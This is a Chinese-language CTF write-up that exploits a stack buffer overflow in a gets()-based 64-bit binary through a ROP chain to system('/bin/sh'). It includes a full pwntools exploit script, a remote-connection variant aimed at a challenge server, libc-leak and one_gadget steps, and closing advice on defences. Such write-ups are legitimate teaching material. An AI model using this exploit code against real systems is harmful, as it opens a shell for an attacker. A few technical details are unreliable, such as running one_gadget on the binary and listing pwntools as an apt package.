ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

CTF栈溢出漏洞利用:从逆向分析到ROP攻击实战

CTF栈溢出漏洞利用:从逆向分析到ROP攻击实战

1. 解题环境准备与初步分析

第一次看到这道CTF题目时,我习惯性地先搭建了一个隔离的测试环境。推荐使用VirtualBox配合Kali Linux 2023.2最新版,特别注意要安装完整的工具链:

sudo apt update && sudo apt install -y binutils hexedit radare2 gdb pwntools

题目文件是个名为"cat"的64位ELF可执行文件,用file命令确认:

file cat # 输出:cat: ELF 64-bit LSB executable, x86-64...

用checksec检查安全机制时发现了关键信息:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

没有栈保护(Canary)和地址随机化(PIE),这提示可能存在栈溢出漏洞。但NX位开启意味着不能直接执行shellcode,需要考虑ROP等技术手段。

2. 逆向工程与漏洞定位

用Ghidra反编译后,在main函数中发现可疑的gets()调用:

void main(void) { char local_48 [64]; gets(local_48); return; }

典型的缓冲区溢出漏洞!local_48只有64字节空间,但gets()会无限制读取输入。通过计算可知,填充72字节(64+8)就能覆盖返回地址。

但单纯覆盖返回地址还不够,需要找到可利用的代码片段。用objdump查找时发现了惊喜:

objdump -d cat | grep "system" # 输出:4006e0 <system@plt>

程序本身调用了system函数!进一步搜索字符串:

strings cat | grep "/bin" # 输出:/bin/sh

天助我也,程序中已经存在"/bin/sh"字符串和system调用,这意味着我们可以直接构造ROP链调用system("/bin/sh")。

3. 漏洞利用开发过程

首先确定关键地址(需根据实际文件调整):

  • system@plt: 0x4006e0
  • "/bin/sh"字符串: 0x400828
  • pop rdi; ret gadget: 0x4007c3

构造payload结构:

[64字节垃圾数据] + [8字节覆盖RBP] + [pop rdi地址] + [/bin/sh地址] + [system地址]

用pwntools编写完整利用代码:

from pwn import * context(arch='amd64', os='linux') p = process('./cat') system = 0x4006e0 binsh = 0x400828 pop_rdi = 0x4007c3 payload = b'A'*72 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) p.sendline(payload) p.interactive()

测试时发现本地可以getshell,但远程服务器需要调整:

# 远程连接版 r = remote('111.198.29.45', 31111) r.sendline(payload) r.interactive()

4. 技术难点与解决方案

问题1:地址偏移不一致远程服务器的libc版本可能不同,导致system地址偏移变化。解决方案是先用puts泄露实际地址:

# 添加泄露代码 payload1 = b'A'*72 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])

问题2:输入长度限制实际测试发现输入超过120字节会被截断。优化方案是精简ROP链,改用one_gadget:

one_gadget cat # 输出:0x4f3d5, 0x4f432, 0x10a41c

最终利用策略:

  1. 第一次发送泄露libc地址
  2. 计算one_gadget实际地址
  3. 第二次发送触发onegadget

5. 防御措施与学习要点

这道题展示了经典栈溢出的完整利用过程。在实际开发中应该:

  1. 永远不使用gets()等危险函数
  2. 启用所有安全编译选项(-fstack-protector-all, -pie等)
  3. 对输入进行严格长度检查

通过这道题我深刻体会到:

  • 逆向工程要重点关注危险函数调用(gets, strcpy等)
  • 利用现有代码片段(如system和/bin/sh)可以简化利用
  • 动态调试(gdb+pwndbg)比静态分析更高效

重要提示:实际CTF比赛中可能需要处理ASLR等更复杂情况,这道题是理想化的入门练习。建议下一步尝试有地址随机化的题目,学习内存泄露技术。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进